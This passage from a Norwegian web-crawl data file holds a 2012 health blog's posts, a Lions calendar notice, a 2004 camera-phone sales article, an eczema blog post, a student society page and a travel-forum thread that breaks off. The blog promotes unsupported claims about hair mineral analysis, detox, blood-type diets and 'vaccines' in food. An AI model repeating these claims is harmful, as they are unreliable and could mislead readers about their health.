og feilinformasjon\\!  \n  \n Ha en veldig fin dag alle sammen\\!  \nKlem Agnete  \n  \n  \n  \n Lagt inn av  \nAgnete  kl. \n\n09:00    Ingen kommentarer:        \n\n## tirsdag 25. september 2012\n\n### Sunnere godteri...\n\n... siden jeg avsl\u00f8rte i forrige innlegg at jeg av og til spiser godteri,\u00a0  \ns\u00e5 m\u00e5 jeg jo nesten fortelle hvilket snop jeg helst velger hvis jeg skal ha noe som er av en sunnere variant enn det en finner i butikken. S\u00e6rlig til de sm\u00e5 som det er vanskelig \u00e5 unng\u00e5 sukker helt med.  \n  \n Yummy Earth heter serien og dere finner den p\u00e5 iHerb\\!  \nDette liker de sm\u00e5 veldig godt - slikkepinnene er utrolig gode, og bamsebj\u00f8rnene falt i smak hos eldstemann. Disse er glutenfri, laget med naturlige fruktekstrakter og \u00f8kologiske ++  \nSupersunt er de ikke, men det er lov \u00e5 kose seg av og til :)  \n  \n Bestiller du for under kr 200 s\u00e5 slipper en moms.  \n  \n Klemklem\\!\n\nAgnete  kl. \n\n20:47    1 kommentar:        \n\n### Jeg trenger en pause..\n\n... fra m\u00e5ten samfunnet tenker at vi skal ordne opp i menneskers helse.  \nN\u00e5 skal jeg v\u00e6re veldig \u00e6rlig.  \n  \n Jeg er s\u00e5 glad for at jeg har startet \\[supersunn\\] og jeg f\u00f8ler selv at dette var det som var\u00a0  \n\"meant for me\" til \u00e5 drive med.\u00a0  \n  \n Det er samtidig en stor byrde \u00e5 b\u00e6re. Det er fordi at hver gang jeg ser p\u00e5 tv/aviser eller h\u00f8rer hva\u00a0folk har \u00e5 stri med enten fysisk eller psykisk s\u00e5 tenker jeg: \"men dette kan en jo ordnes opp i p\u00e5 en naturlig m\u00e5te - dersom en tar tak i det tidlig nok\". Samarbeid mellom ulike instanser er n\u00f8kkelen til varig god helse for Norges befolkning.  \n  \n Det som det ofte st\u00e5r p\u00e5 er om den enkelte er villig til \u00e5 gj\u00f8re den jobben som kreves av de. Det er HELT avgj\u00f8rende for et godt resultat. Det \u00e5 t\u00f8rre \u00e5 tenke at dette trenger jeg - og gj\u00f8r jeg den jobben n\u00e5, s\u00e5 sparer jeg meg selv for mye plager senere i livet. Det er s\u00e5 enkelt \u00e5 si til seg selv: \" jeg tar det litt senere, akkurat n\u00e5 er dette mye viktigere og jeg har ikke tid til \u00e5 ta tak i det n\u00e5\". Helsen er det viktigste, det gj\u00f8r at du har det bra med deg selv og i forhold til alle og alt rundt deg her i livet. N\u00e5r den svikter, s\u00e5 svikter store deler av grunnlaget under deg.  \n  \n \\* Skal en g\u00e5 kraftig til verks s\u00e5 kan en velge kraftig detox (for \u00e5 nulltsille kroppen og bidra til at den skal helbrede seg bedre selv). Er du syk, s\u00e5 m\u00e5 du bli fulgt opp av noen som driver med dette profesjonelt.\u00a0  \n  \n \\* De fleste m\u00e5 innse at en m\u00e5 gj\u00f8re endringer i kosten sin som er varige og som er tilpasset deg (dietter er tull og vas, beklager). Men det er forskjell p\u00e5 hverdag og fest - det du gj\u00f8r i hverdagen er viktigst. Frav\u00e6r av melk, hvete eller gluten, sukker, e stoffer og gj\u00e6r - kan gj\u00f8re en STOR forskjell alene. Det skaper en mage/tarm i balanse og det er her st\u00f8rstedelen av v\u00e5rt immunforsvar sitter. Tilstanden p\u00e5 mage/tarm bestemmer v\u00e5rt n\u00e6ringsopptak, som igjen p\u00e5virker kvaliteten p\u00e5 v\u00e5rt blod og v\u00e5r kropp. Gr\u00f8nnsaksjuicer og n\u00e6ringsrike smoothies kan v\u00e6re kanskje de viktigste m\u00e5ltidene du kan implementere til deg og dine.  \n  \n \\* H\u00e5rmineralanalyser er mange p\u00e5 vei til \u00e5 oppdage hvor viktig og forebyggende kan v\u00e6re. Det er som en selvbiografi \u00e5 f\u00e5 tilbake rapporten. Den sier mye om hvorfor kroppens hormonelle kjertler f eks ikke fungerer tilfredstillende, hvorfor du mister h\u00e5r, er benskj\u00f8r, stive ledd, er hyperaktiv, stresset eller kjenner at din psykiske helse ikke er som den skal + mye mer. Heldigvis at vi har en lege i landet som ogs\u00e5 har innsett dette og jobber med dette. Les artikler her.\u00a0Analysen\u00a0kan tas via meg, ved sp\u00f8rsm\u00e5l: firstname.lastname@example.org.  \n  \n (PS: ser p\u00e5 god morgen Norge, en fris\u00f8r som tipser om hvordan en ikke mister s\u00e5 mye h\u00e5r under graviditet... synd at han ikke kan noe om h\u00e5rmineralanalyser som gj\u00f8r noe med h\u00e5ravfallet p\u00e5 en effektiv m\u00e5te... det har jo med at barnet tar til seg de n\u00e6ringsstoffene vi trenger - derfor m\u00e5 vil tilf\u00f8re mer av de i ulike perioder i livet og skreddersydd den enkelte.)  \n  \n \\* Vi m\u00e5 stille krav til hvordan maten behandles som vi f\u00e5r \"servert\". Det er skremmende utvikling i bruk av spr\u00f8ytemidler, vaksiner og hormoner som befinner seg i maten som selges. KIWI som heldigvis har momsreduksjon p\u00e5 gr\u00f8nt - I LIKE, men VELDIG TRIST at de ikke har ET produkt som er \u00f8kologisk p\u00e5 den butikken jeg g\u00e5r p\u00e5... St\u00f8tt opp om sm\u00e5 lokale forhandlere, det er mange som leverer \u00f8kologisk gr\u00f8nt p\u00e5 d\u00f8ren\\!\u00a0  \n  \n \\* Spr\u00f8yter, medisiner, operasjoner, quick fix er ikke alltid l\u00f8sningen p\u00e5 de utfordringene vi har i kroppen v\u00e5r. Sp\u00f8r deg selv: HVORFOR har jeg dette? Det er jo som regel en \u00c5RSAK til det. Jeg kjenner at jeg er s\u00e5 sint p\u00e5 hvordan helsevesenet fungerer, det er noe som er helt riv ruskende galt p\u00e5 s\u00e5 mange omr\u00e5der. Vi fjerner det ene og det andre i kroppen v\u00e5r, med h\u00e5p om at det skal g\u00e5 bort... TJA, det gj\u00f8r ikke alltid det dessverre. Fordi en gj\u00f8r ikke noe med \u00e5rsaken, en fjerner bare en del av problemet. Alt som er naturlig i kroppen v\u00e5r er der av en grunn. Det som kommer der unaturlig, kommer ogs\u00e5 av en grunn.  \n  \n LYTT til kroppen din, STOL p\u00e5 kroppen din og\u00a0  \ngj\u00f8r dine egne VALG ved siden av det legen anbefaler deg.\u00a0  \n  \n Det krever noe av deg, men det gir deg mye tilbake i neste omgang.  \n  \n ... over til pausen.  \nDen skal jeg ha snart\\! Jeg venter en baby 4 november (3 gutt :) ).\u00a0  \nOm jeg klarer \u00e5 skru av hjernen i forhold til \\[supersunn\\] - det gjenst\u00e5r \u00e5 se..  \nJeg tror ikke jeg blir s\u00e5 lenge borte, og n\u00e5r jeg kommer tilbake s\u00e5 blir det kanskje en\u00a0  \nhel del endringer i \\[supersunn\\]. Jeg har mye jeg har lyst til \u00e5 gj\u00f8re og kjenner at jeg m\u00e5\u00a0  \nmobilisere dette samfunnet til kamp for god helse i Norge. Koste hva det koste vil :)  \nDere vil kanskje oppleve en enda mer \u00e6rlig \\[supersunn\\] som t\u00f8r mer \u00e5 si hva vi mener.  \n  \n Jeg vil understreke at det er forskjell p\u00e5 hverdag og fest - \\[supersunn\\] er ingen fanatisk kostholdsretning - men der vi gir deg verkt\u00f8yet til \u00e5 gj\u00f8re deg \\[supersunn\\] p\u00e5 din m\u00e5te og det niv\u00e5et du \u00f8nsker. Det ene utelukker ikke det andre.  \n  \n Mange lurer p\u00e5 om jeg lever s\u00e5nn eller s\u00e5nn. Jeg er \\[supersunn\\] p\u00e5 min m\u00e5te - der hvete/gluten, kumelk og gj\u00e6r er stort sett borte. Sukker i den grad jeg klarer (ettersom jeg gjerne STOR koser meg med snop innimellom, kino uten snop... er som en himmel uten stjerner - hehe :) ). Spiser daglig gr\u00f8nnsaksjuice, smoothies med supermat og spiser kj\u00f8tt, fisk etter blodtypen min + mest mulig rawfood. Kjenner at rawfood gir meg energi og jeg er mindre glad i ihjelstekt mat i dag enn f\u00f8r. Det tapper kroppen for energi..  \n  \n Vanskelig? Det blir en livsstil - der de nye vanene blir varige vaner som er helt naturlig som de gamle.\u00a0  \n  \n Jeg f\u00f8ler at kroppen min n\u00e5 er s\u00e5pass i balanse at jeg kan skeie ut med en fest, velge det jeg vil p\u00e5 en restaurant eller n\u00e5r jeg kommer p\u00e5 bes\u00f8k til noen. Det kunne jeg ikke i det \u00e5ret jeg var p\u00e5 diett for \u00e5 rette opp i en skakkkj\u00f8rt kropp for noen \u00e5r siden. Jeg tilf\u00f8rer ogs\u00e5 riktige mineraler, og det kjenner jeg har hatt veldig god effekt p\u00e5 kroppen min\\! (s\u00e6rlig viktig n\u00e5 n\u00e5r jeg er gravid. Det har resultert i mindre vann i kroppen, ingen h\u00e5ravfall og de dagene jeg tar full dose og er flink: ingen leggkramper). Alt dette hadde jeg mer i forrige svangerskap.  \n  \n Mange har sikkert fulgt meg en stund og vet at \u00e5rsaken til at jeg startet \\[supersunn\\] er min eldste s\u00f8nn Fabian. Les mer her om det.\u00a0Han er mye bedre, men han er et lite case enn\u00e5 - sm\u00e5spist, ikke helt tilstrekkelig n\u00e6ringsopptak - s\u00e5 den jobben fortsetter og jeg f\u00f8ler at det gir meg styrke ift n\u00e5r jeg skal hjelpe andre i samme situasjon og jeg har stor grad av empati for at det ikke er enkelt med kostholdendringer i forhold til barn. ET TIPS\\! Unders\u00f8k alt en kan via en lege f\u00f8rst, c\u00f8liaki, allergier osv f\u00f8rst. S\u00e5nn at en vet hva en kan utelukke. Sp\u00f8r meg gjerne p\u00e5 mail hvis du lurer p\u00e5 hvordan jeg anbefaler at en g\u00e5r fram.  \n  \n For de som enn\u00e5 henger med:  \nHa en UTROLIG fin dag\\!  \nStor klem Agnete  \n  \n  \n Lagt inn av  \nAgnete  kl. \n11:00    1 kommentar:        \n\n## l\u00f8rdag 22. september 2012\n\n### Frokoster som gir deg et kick\\!\n\n  \n\nGod l\u00f8rdagsmorgen\\!\u00a0\n\n  \n\nHer finner dere oppskrifter til sunne gr\u00f8nne & rensende frokoster/lunsjer. Dette er noen av mine favoritter og som jeg bruker mye i det daglige. H\u00e5per det smaker\\!\n\n  \nR\u00f8dbetejuice\n\n  \n  \n\n\u00bd-1 r\u00f8dbete\n\n4 guler\u00f8tter\n\n2-4 cm ingef\u00e6r\n\n1 agurk\n\n1 brokkoli stilk\n\n\u00bd -1 sitron\n\n2-3 stilker stangselleri (valgfritt)\n\n1-3 epler med kjerne (valgfritt)\n\n  \n\nPress i en juicepresse, vann ut litt dersom den er for sterk for magen. Den kan v\u00e6re vedig rensende\\! Denne liker de fleste som smaker den og blir overrasket over hvor s\u00f8t og god den er\\!\u00a0\n\n  \nLike god med eple som uten - men fint \u00e5 begynne med eple for \u00e5 bli vant til den\\!\n\n  \n Nydelig gr\u00f8nn juice finner dere her\\!\n\n  \nGrapefruktjuice\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n\\- fantastisk lever rens om morgenen\\!\n\n  \nBland det i det forholdet du vil;\n\nR\u00f8d grapefrukt\\* (ca 1)\n\nSitron (ca 1)\n\nIngef\u00e6r (2-4 cm)\n\n  \nPress det i en juicepresse.\n\nDenne er syrlig og rensende\\!\n\n  \n\\* Grapefrukt kan v\u00e6re supert mot cellulitter og kan bidra til vektnedgang ved \u00e5 starte m\u00e5ltidet med litt juice eller 1/2 grapefrukt.\n\n  \n  \nRis (brunris, naturris, villris, basmatiris)\u00a0\n\nAvocado\n\nTomat\n\nR\u00f8dl\u00f8k etter smak\n\nLiquid aminos eller tamari soyasaus\u00a0\n\nHemp fr\u00f8 (avskallet)\n\nValgrfritt: pinjekjerner, valn\u00f8tter eller mandler.\n\n  \n\nKok ris, dersom en \u00f8nsker mer smak p\u00e5 risen s\u00e5 ta i helios sitt buljongpulver i kokevannet. Det setter god smak p\u00e5 risen\\! Denne buljongen er kun basert p\u00e5 gr\u00f8nnsaker og er uten gluten og gj\u00e6r.\u00a0\n\n  \nP\u00e5 toppen tar du tomat, avocado og r\u00f8dl\u00f8k\\!\u00a0\n\nTil de sm\u00e5 tar du det de liker :)\n\n  \nFor at denne retten skal v\u00e6re mer mettende s\u00e5 er det supert \u00e5 tilsette\u00a0hempfr\u00f8\\*. Dersom en smakssetter risen med buljong og tar godt med krydder p\u00e5 toppen (urtesalt), s\u00e5 kan en kutte ut soyasaus. Str\u00f8 over hakkede n\u00f8tter ogs\u00e5 for \u00e5 gj\u00f8re den mer proteinrik og mettende om du vil.\n\n  \n\\* Hempfr\u00f8 inneholder alle aminosyrene (byggesteinene til protein), ogs\u00e5 de kroppen ikke kan lage selv. I tillegg er det h\u00f8yt innhold av magnesium, jern, fiber og omega 3 og 6 i forholdet 1:4.\n\n  \n\nBrokkolifrokost ...\u00a0\n\n... kan ogs\u00e5 spises til lunsj & middag\\!\n\n  \nBrokkoli\n\nL\u00f8k/r\u00f8dl\u00f8k\n\nHvitl\u00f8k\n\nHempfr\u00f8\n\n  \nValgfritt: Pinjekjerner, mandler, valn\u00f8tter\n\n  \nWok gr\u00f8nnsakene lett i rapsolje og str\u00f8 over hempfr\u00f8 for lettopptakelig protein, jern, gode fettsyrer og magnesium. Ta gjerne p\u00e5 litt hakkede n\u00f8tter ogs\u00e5 dersom du \u00f8nsker eller kombiner med ris.\u00a0\n\n  \nHell over liquid aminos eller tamari soyasaus (gluten og gj\u00e6rfri soyasaus begge to). Liquid aminos er min favoritt, mindre salt og veldig mild p\u00e5 smak\\!  \n  \n \u00d8nsker dere alle sammen en fin l\u00f8rdag\\!  \n  \n\nKlem Agnete\n\n  \n Lagt inn av  \nAgnete  kl. \n\n08:38    Ingen kommentarer:        \n\n## onsdag 5. september 2012\n\n### \u00d8nsker du inspirasjon til nye supersmoohties?\n\nBli med p\u00e5 Navitas Naturals\u00a0  \n\"Back - to - Basic Smoothment\" 8 september\\!  \n  \n  \nDa f\u00e5r du oppskrifter og tips rett inn i mailboksen din ved \u00e5 si at du vil v\u00e6re med :=)  \nDisse KAN smoothies og har en helt utrolig evne til \u00e5 variere de p\u00e5 spennende m\u00e5ter\\!  \n  \n Navitas Naturals er en serie innen for \"superfoods/supermat\" som har mange tilhengere i hele verden.  \n\n\n\nUtrolig bra serie syns jeg ogs\u00e5 personlig, og derfor er denne serien en av de jeg valgte \u00e5 ha i nettbutikken min.  \n  \n  \n  \n Utvalgte produkter fra Navitas Naturals er n\u00e5 til 20 % rabatt frem til 16/9 hos oss\\!\u00a0  \nBlant annet r\u00e5 kakaoprodukter, gojib\u00e6r, gojipulver, hemp & acai - dere finner de her.  \n  \n   \n \u00d8nsker dere alle en finfin dag\\!  \nKlem Agnete  \n  \n12:23    Ingen kommentarer:        \n\n## fredag 31. august 2012\n\n### Nye produkter i nettbutikken\\!\n\n  \n\n Endelig en rawfood bok p\u00e5 norsk, fra Funky Fresh Foods : RAW\\!  \nDette er en utrolig fin bok for deg som er ny til rawfood eller har holdt p\u00e5 en stund (de bruker t\u00f8rkeovn p\u00e5 en del av oppskriftene).  \nDette er en fin bok \u00e5 gi og f\u00e5 i gave\\!  \n  \n Kr 279,-  \n  \n   \n  \n Jeg har ogs\u00e5 tatt inn \u00f8kologiske r\u00e5 n\u00f8tter fra Sanabona - mandler & cashewn\u00f8tter. Disse kommer jeg til \u00e5 holde lav pris p\u00e5 - s\u00e5 her f\u00e5r en mye gode sunne n\u00f8tter for pengene\\! Mandlene er en hel del st\u00f8rre enn vanlige mandler og med nydelig smak.  \n\n  \n Mandler\u00a01 kg kr 159,-  \nCashewn\u00f8tter \u00a01 kg kr 209,-\u00a0  \n\n\n\n  \nKvalitets - alger fra Sanabona:  \n  \n Spirulina 500 tabl \u00e0 500 mg kr 349,-  \n  \n Chlorella 1000 tabl \u00e0 250 mg kr 349,-  \n  \n   \n Les mer om produktene ved \u00e5 klikke deg inn p\u00e5 linkene :)  \n  \n Ha en kjempefin fredag alle sammen\\!  \nKlem Agnete\n\n    \n\n\n\n  - Agnete  \n    \\[supersunn\\] \u00f8nsker \u00e5 inspirere deg til \u00e5 ta sunnere valg i hverdagen\\! Basisk mat, rawfood & supermat er kjernen i alt det vi tilbyr av kurs, retreats og individuelle konsultasjoner for store og sm\u00e5. All mat er uten hvete, melk, sukker og gj\u00e6r\\! Vi tenker helhetlig og har en sterk overbevisning om at kroppen er i stand til \u00e5 helbrede seg selv p\u00e5 en naturlig m\u00e5te ved hjelp av mat, behandling og en sunn livsstil. Ingen mennesker er like, vi vektlegger derfor spesialtilpassede kosthold for de som \u00f8nsker det basert p\u00e5 h\u00e5rmineralanalyse og blodanalyse/blodtypen din. Open your heart and you can reach the stars\\!\n\n", "language": "no", "__index_level_0__": "fcfbca5c-7b7b-45d4-a961-75b74836ae48"}
{"url": "http://www.lions.no/district/show/Distrikt+104+C3/42577/59764", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:31:40Z", "text": "# Lionskalenderen 2018\n\nLarsen \u00c5ge Walther  \n24\\. november 2017\n\n     \nLarsen \u00c5ge Walther\n\n24\\. november 2017\n\n     \nLionskalenderen for 2018\u00a0 med historiske bilder fra Hamar er klar.\n\nDen er flott \u00e5 ha p\u00e5 veggen og er ogs\u00e5 en fin gaveartikkel.\n\nInntekten av salget g\u00e5r\u00a0til flere gode lokale\u00a0form\u00e5l og foreninger.\u00a0 \u00a0I tillegg fordeles deler av bel\u00f8pet via Lionsklubbene Vang, Storhamar og Hamar, som samarbeider om kalenderne. \u00a0Kalenderne selges av klubbenes medlemmer (d\u00f8rsalg), dessuten i noen av Hamars forretninger.\n\n", "language": "no", "__index_level_0__": "3f6253f9-9185-4044-b174-b234cbcb019a"}
{"url": "https://www.digi.no/artikler/mms-og-kamera-driver-salget/297178", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:37:01Z", "text": "# MMS og kamera driver salget\n\nSalget av kameratelefoner eksploderer, viser nye globale tall, for n\u00e5 tas de i bruk p\u00e5 jobben.\n\n  - Einar Ryvarden\n  - Analyser\n  - 22\\. okt. 2004 - 10:09\n\nMuligheten til \u00e5 ta bilder er den prim\u00e6re driveren i salget av nye mobiler, det er mange enige om. Her i Norge forteller Netcom at selskapet 300.000 av deres brukere i fjor h\u00f8st hadde MMS-telefoner, men bare 57.000 av dem hadde kamera. I august i \u00e5r hadde 643.000 av kundene n\u00e5 MMS-telefoner og 60 prosent av dem hadde kamera.\n\nDette gjenspeiler seg i globale tall. Det vil bli solgt 159 million kameramobiler i verden i \u00e5r, noe som er en dobling siden i fjor - det vil rundt en av fire, forteller Gartner. Salget vil l\u00f8fte seg og selv p\u00e5 globalt niv\u00e5 vil to av tre telefoner ha kamera i 2008.\n\nMen Norge og verden generelt ligger langt bak Japan og S\u00f8r-Korea der 95-97 prosent av alle nye mobiler har kamera, i f\u00f8lge Gartner.\n\nUSA henger kraftig etter og bare 21 prosent av mobilene som selges i USA i \u00e5r vil ha kamera.\n\nGartner mener at bedriftsmarkedet n\u00e5 bidrar til salget - stadig flere bransjer tar i bruk mobilkamera i jobbfunksjoner, selv om en del er nerv\u00f8se for sikkerheten n\u00e5r ansatte, partnere og kunder kan ta bilder over alt.\n\n", "language": "no", "__index_level_0__": "bc0c58e7-ab67-4e2c-bd22-5b106c9c072d"}
{"url": "http://sosken.blogspot.com/2011/04/britisk-rapport-med-viktige-bidrag-til.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:19:45Z", "text": "\n\n    \n\n## mandag 11. april 2011\n\n### Britisk rapport med viktige bidrag til eksemforskning.\n\nJeg ble tipset om en veldig interessant artikkel i Naaf sitt Allerg i Praksis som jeg syntes at flere skulle f\u00e5 tilgang til. Ettersom jeg tidligere har funnet flere av deres artikler p\u00e5 nett sendte jeg liks\u00e5 godt en mail til Naaf med foresp\u00f8rsel om \u00e5 gj\u00f8re ogs\u00e5 denne tilgjengelig p\u00e5 nett.  \n  \nFikk et hyggelig svar tilbale fra\u00a0 \"Redakt\u00f8r Allergi i Praksis / Nettredakt\u00f8r\" om at dette var en god ide og n\u00e5 er den lagt ut slik at alle kan f\u00e5 lest den.   \n  \nhttp://www.naaf.no/Documents/Allergi%20i%20Praksis/AiP4-2010\\_Britisk\\_rapport\\_side\\_16\\_18.pdf  \n  \n  \nDe skriver\u00a0bla p\u00e5 slutten av artikkelen\u00a0 - \"at de kan anta at svekket hudbarriere ikke bare er et sekund\u00e6rt fenomen assosiert med eksem og betent hud. Dersom et barn utvikler eksem, har det derimot i utgangspunktet allerede en svekket hudbarriere\"  \n  \nSlik jeg leser av dette er det at.\u00a0\u00a0 Dette kan bety at man i fremtiden kan allerede\u00a0finne ut om barnet har svekket hudbarriere som spedbarn, \u00a0slik at man kan starte forebyggende arbeid tidlig for \u00e5 utsette utviklingen av eksem.  \n  \nVeldig spennende \\!\\!\n\nS\u00f8skenmamma  kl. \n\n08:34              \n", "language": "no", "__index_level_0__": "d76586fc-a9d7-44b9-a1c4-5ee77cc95c65"}
{"url": "http://www.oslochirurgiskeselskab.no/om-foreningen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:34:24Z", "text": "# Oslo Chirurgiske S\u00e6lskab\n\n# Om foreningen\n\n## Om foreningen\n\nOslo Chirurgiske S\u00e6lskab er en studentforening ved det medisinske fakultet ved Universitetet i Oslo. Foreningen ble stiftet i 2014 av medisinstudentene Ole Christian Normann og Henrik Aur\u00e5en som kombinert med interessen for kirurgiske fag, hadde et \u00f8nske om \u00e5 starte en forening der studenter selv tok ansvar for \u00e5 l\u00e6re prosedyrer som \u00e5 sy et s\u00e5r eller gipse frakturer.\n\nMedisinstudiet er et spennende studium som gir hver student en uvurderlig mulighet til oppn\u00e5 kunnskap som kan bidra til \u00e5 hjelpe andre medmennesker. Studiet er et profesjonsstudium og man skal gjennom utallige timer med forelesninger, kurs, seminarer og selvstudier.\n\nOslo Chirurgiske S\u00e6lskab \u00f8nsker \u00e5 kunne tilby studentene mer trening i praktiske ferdigheter. Ferdigheter som det forventes at studentene utf\u00f8rer med en viss grad av kontroll n\u00e5r man skal ut i arbeid under studiet og ikke minst i turnus og andre legejobber. I tillegg \u00f8nsker OCS at studenter allerede ved begynnelsen av studiet skal kunne ha muligheten til \u00e5 hjelpe familie, venner og naboer som har sp\u00f8rsm\u00e5l om enklere medisinske problemstillinger.\n\nForeningen har som form\u00e5l \u00e5 fremme interesse og kunnskap innenfor kirurgiske fag, men har ogs\u00e5 fokus p\u00e5 \u00e5 l\u00e6re medisinske prosedyrer.\u00a0Foreningens kjerneaktiviteter vil v\u00e6re kurs i praktiske ferdigheter. I tillegg vil det arrangeres forelesninger og temakvelder innenfor ulike temaer og case-konkurranser.\n\nOslo Chirurgiske S\u00e6lskab h\u00e5per dette er et tilbud du som medisinstudent \u00f8nsker \u00e5 benytte deg av. OCS vil gj\u00f8re sitt aller ytterste for at din l\u00e6ring skal v\u00e6re av topp kvalitet.\n\nTa gjerne kontakt om du har sp\u00f8rsm\u00e5l ang\u00e5ende foreningen, kursarrangering eller andre henvendelser.\n\n\u00a0\n### Styret 2018\n\n\n", "language": "no", "__index_level_0__": "3a49a0b4-d9b0-467f-a2b9-800b40b2c031"}
{"url": "http://vgd.no/forbruker/reisetips/tema/1837146/tittel/grensepasseringer-i-oestlige-europa-tips", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:43:08Z", "text": "20.03.17 12:00\n\nNoen som vet om det er spesielle forhold ved grensene til disse landene n\u00e5?\n\n(Leier bilden i Wien).\n\n20.03.17 15:43\n\nDet var stopp og kontroll mellom Slovakia og Ungarn, mellom\u00a0Ungarn og Kroatia og mellom Kroatia og Slovenia da vi kj\u00f8rte der i fjor.\n\nSerbia er ikke med i EU s\u00e5 her er det nok grensekontroll.\n\nOblat kreves ogs\u00e5 i Tsjekkia, Ungarn og Slovenia. Pris 10 Euro.\n\nHusk ogs\u00e5 gr\u00f8nt kort p\u00e5 forsikringa \\!\n\nhttp://janneogfrank.blogspot.no/2016/08/vart-frste-mte-med-ungarn.html\n\n\n20.03.17 16:48\n\n**xpoolman**: Det var stopp og kontroll mellom Slovakia og Ungarn, mellom\u00a0Ungarn og Kroatia og mellom Kroatia og Slovenia da vi kj\u00f8rte der i fjor. Serbia er ikke med i EU s\u00e5 her er det nok grensekontroll. Oblat kreves ogs\u00e5 i Tsjekkia, Ungarn og Slovenia. Pris 10 Euro. Husk ogs\u00e5 gr\u00f8nt kort p\u00e5 forsikringa \\!\n\nTok de kontrollene du nevner lang tid ( = mye k\u00f8)?\n\nHvor f\u00e5r jeg kj\u00f8pt oblater til de landene du nevner?\u00a0\n\nJeg kommer til \u00e5 plukke opp leiebil i \u00d8sterrike, s\u00e5 jeg tror ikke jeg trenger gr\u00f8nt kort da.\n\n   \n20.03.17 18:05\n\n**annmag**: Tok de kontrollene du nevner lang tid ( = mye k\u00f8)?  \nHvor f\u00e5r jeg kj\u00f8pt oblater til de landene du nevner?  \nJeg kommer til \u00e5 plukke opp leiebil i \u00d8sterrike, s\u00e5 jeg tror ikke jeg trenger gr\u00f8nt kort da.\n\nNei det tok ikke s\u00e6rlig lang tid i kontrollene, maks 20 minutter, 10-12 biler i k\u00f8\u00a0s\u00e5 vidt jeg husker...men vi var p\u00e5 tur og gadd ikke ta tida.  \nMen det var ikke slik at vi st\u00f8nna for at det tok s\u00e5 lang tid :-)\n\nOblater kj\u00f8pte vi p\u00e5 bensinstasjonene, i \u00d8sterrike og Slovakia slike til \u00e5 klistre i frontruta, i Ungarn og Slovenia var det registrering av bilens skilt, alts\u00e5 elektronisk.\n\nF\u00e5r du kj\u00f8re leiebilen gjennom s\u00e5 mange land ?  \nJeg vet det er problemer \u00e5 leie bil i Kroatia og ta den med til de andre ex-jugoslavlandene. Men det er der; de er jo n\u00e6rmest i krig enda....\n\n20.03.17 19:23\n\n**xpoolman**: F\u00e5r du kj\u00f8re leiebilen gjennom s\u00e5 mange land ?\n\nDet var noe jeg m\u00e5tte sjekke, s\u00e5 jeg gjorde det i mellomtiden.\n\nEr ikke lov \u00e5 ta bilen inn i de landene jeg hadde tenkt.....s\u00e5 da bortfaller dette.\n\nF\u00e5r sjekke ut tog og buss isteden....filler'n ogs\u00e5. :o(\n\n   \n20.03.17 21:10\n\n**annmag**: Er ikke lov \u00e5 ta bilen inn i de landene jeg hadde tenkt.....s\u00e5 da bortfaller dette.\n\nDet var da synd men jeg tenkte meg nesten det....\n\nHvorfor ikke kj\u00f8re fra Norge i egen bil ?  \nDet er ikke s\u00e5 langt, du kj\u00f8rer fra Hirtshals/Fredrikshavn til \u00d8sterrike p\u00e5 en dag :-)\n\nDet er veldig fint der borte, og en helt annen opplevelse \u00e5 kj\u00f8re selv enn \u00e5 ta tog/buss.\n\n20.03.17 23:06\nSkulle ogs\u00e5 til \u00e5 stille sp\u00f8rsm\u00e5l om hvilket selskap som tillot disse landene. Kan jo krysse grenser med buss, og heller leie bil i de ulike landene. Men hvorfor s\u00e5 mange land p\u00e5 en tur? Fordel det heller p\u00e5 flere turer.\u00a0\n\n21.03.17 12:30\n\n**xpoolman**: Hvorfor ikke kj\u00f8re fra Norge i egen bil ?  \nDet er ikke s\u00e5 langt, du kj\u00f8rer fra Hirtshals/Fredrikshavn til \u00d8sterrike p\u00e5 en dag :-) Det er veldig fint der borte, og en helt annen opplevelse \u00e5 kj\u00f8re selv enn \u00e5 ta tog/buss.\n\nPlanen er \u00e5 hoppe av flyet under et flybytte i Wien p\u00e5 vei tilbake fra en annen destinasjon.....s\u00e5 har ingen egen bil med.\n\nDet er utvilsomt best \u00e5 kj\u00f8re, da er man langt mer fri og fleksibel og trenger ikke \u00e5 planlegge noe s\u00e6rlig.\n\nF\u00e5r se hvordan jeg l\u00f8ser det......blir antageligvis tog. :o)\n\n   \n21.03.17 12:39\n\n**Forfun**: Skulle ogs\u00e5 til \u00e5 stille sp\u00f8rsm\u00e5l om hvilket selskap som tillot disse landene. Kan jo krysse grenser med buss, og heller leie bil i de ulike landene. Men hvorfor s\u00e5 mange land p\u00e5 en tur? Fordel det heller p\u00e5 flere turer.\n\nVar bare jeg i min enfoldighet som tenkte \u00e5pne grenser = fri kj\u00f8ring med leiebil.....men jeg tok alts\u00e5 feil.\n\nHadde egentlig bare tenkt \u00e5 reise til Slovenia og Ungarn, siden det er de to landene jeg ikke har v\u00e6rt i, men n\u00e5 ser det ut til \u00e5 bli litt annerledes.\n\nTrenger jo ikke \u00e5 fordele landene p\u00e5 flere turer....kommer bare an p\u00e5 hvor lenge man reiser. :o)\n\nMine reiser begynner f.eks. s\u00e5nn: \"Jeg stikker en tur til NYC ei uke rundt jul\".....og plutselig s\u00e5 ble det et halvt \u00e5r med dykking rundt i Karibien i tillegg.....hehe.\n\nHelgeturtur til NYC ble ogs\u00e5 plutselig til en flere ukers biltur rundt omkring i Usa.\n\nNoen ukers avslapping i Karibien ble plutselig til en rundtur i S\u00f8r-Amerika og Mellom-Amerika et \u00e5rs tid.\n\nosv..\n\n....og s\u00e5nn g\u00e5r no dagan.\n\nMulig jeg kj\u00f8per en interrailbillett og bare drifter rundt uten s\u00e6rlig planlegging. Sjekket interrail og ser at de ogs\u00e5 har 1.klasse 